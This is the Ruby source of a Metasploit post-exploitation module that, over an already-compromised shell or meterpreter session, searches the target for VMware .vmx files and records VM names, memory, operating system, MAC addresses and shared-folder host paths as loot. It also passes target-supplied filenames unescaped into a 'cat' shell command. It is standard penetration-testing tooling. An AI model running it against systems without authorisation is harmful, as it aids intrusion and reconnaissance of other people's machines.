139 lines
3.8 KiB
Ruby
139 lines
3.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'yaml'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Multi Gather VMWare VM Identification',
|
|
'Description' => %q{
|
|
This module will attempt to find any VMWare virtual machines stored on the target.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['theLightCosine'],
|
|
'Platform' => %w[bsd linux osx unix win],
|
|
'SessionTypes' => ['shell', 'meterpreter' ],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
core_channel_eof
|
|
core_channel_open
|
|
core_channel_read
|
|
core_channel_write
|
|
stdapi_fs_search
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def run
|
|
if session_has_search_ext
|
|
vms = meterp_search
|
|
elsif session.platform =~ /unix|linux|bsd|osx/
|
|
vms = nix_shell_search
|
|
end
|
|
report_vms(vms) if vms
|
|
end
|
|
|
|
def report_vms(vms)
|
|
output = "VMWare Virtual Machines\n"
|
|
output << "--------------------------------\n"
|
|
vms.each do |vm|
|
|
next if vm.empty?
|
|
|
|
output << "Name: #{vm['name']}\n"
|
|
output << "Virtual CPUs: #{vm['cpus']}\n"
|
|
output << "Memory: #{vm['memsize']}\n"
|
|
output << "Operating System: #{vm['os']}\n"
|
|
output << "Network Type: #{vm['eth_type']}\n"
|
|
output << "MAC Address: #{vm['mac']}\n"
|
|
output << "Shared Folders:\n"
|
|
vm['SharedFolders'].each do |folder|
|
|
output << "\tHost Location: #{folder}\n"
|
|
end
|
|
output << "\n"
|
|
end
|
|
print_good output
|
|
store_loot('vmware_vms', 'text/plain', session, output, 'vmware_vms.txt', 'VMWare Virtual Machines')
|
|
end
|
|
|
|
def nix_shell_search
|
|
vms = []
|
|
res = session.shell_command('find / -name "*.vmx" -type f -print 2>/dev/null')
|
|
res.each_line do |filename|
|
|
next unless filename.start_with? '/'
|
|
|
|
begin
|
|
parse = session.shell_command("cat #{filename}")
|
|
vms << parse_vmx(parse, filename)
|
|
rescue StandardError
|
|
print_error "Could not read #{filename} properly"
|
|
end
|
|
end
|
|
return vms
|
|
end
|
|
|
|
def meterp_search
|
|
vms = []
|
|
res = session.fs.file.search(nil, '*.vmx', true, -1)
|
|
res.each do |vmx|
|
|
filename = "#{vmx['path']}\\#{vmx['name']}"
|
|
next if filename.end_with? '.vmxf'
|
|
|
|
begin
|
|
config = client.fs.file.new(filename, 'r')
|
|
parse = config.read
|
|
vms << parse_vmx(parse, filename)
|
|
rescue StandardError
|
|
print_error "Could not read #{filename} properly"
|
|
end
|
|
end
|
|
return vms
|
|
end
|
|
|
|
def parse_vmx(vmx_data, filename)
|
|
vm = {}
|
|
unless vmx_data.nil? || vmx_data.empty?
|
|
vm['SharedFolders'] = []
|
|
vmx_data.each_line do |line|
|
|
data = line.split('=')
|
|
vm['path'] = filename
|
|
case data[0]
|
|
when 'memsize '
|
|
vm['memsize'] = data[1].gsub!('"', '').lstrip.chomp
|
|
when 'displayName '
|
|
vm['name'] = data[1].gsub!('"', '').lstrip.chomp
|
|
when 'guestOS '
|
|
vm['os'] = data[1].gsub!('"', '').lstrip.chomp
|
|
when 'ethernet0.connectionType '
|
|
vm['eth_type'] = data[1].gsub!('"', '').lstrip.chomp
|
|
when 'ethernet0.generatedAddress '
|
|
vm['mac'] = data[1].gsub!('"', '').lstrip.chomp
|
|
when 'numvcpus '
|
|
vm['cpus'] = data[1].gsub!('"', '').lstrip.chomp
|
|
when 'sharedFolder0.hostPath '
|
|
vm['SharedFolders'] << data[1].gsub!('"', '').lstrip.chomp
|
|
end
|
|
end
|
|
vm['cpus'] ||= '1'
|
|
end
|
|
return vm
|
|
end
|
|
|
|
def session_has_search_ext
|
|
return !!(session.fs and session.fs.file)
|
|
rescue NoMethodError
|
|
return false
|
|
end
|
|
|
|
end
|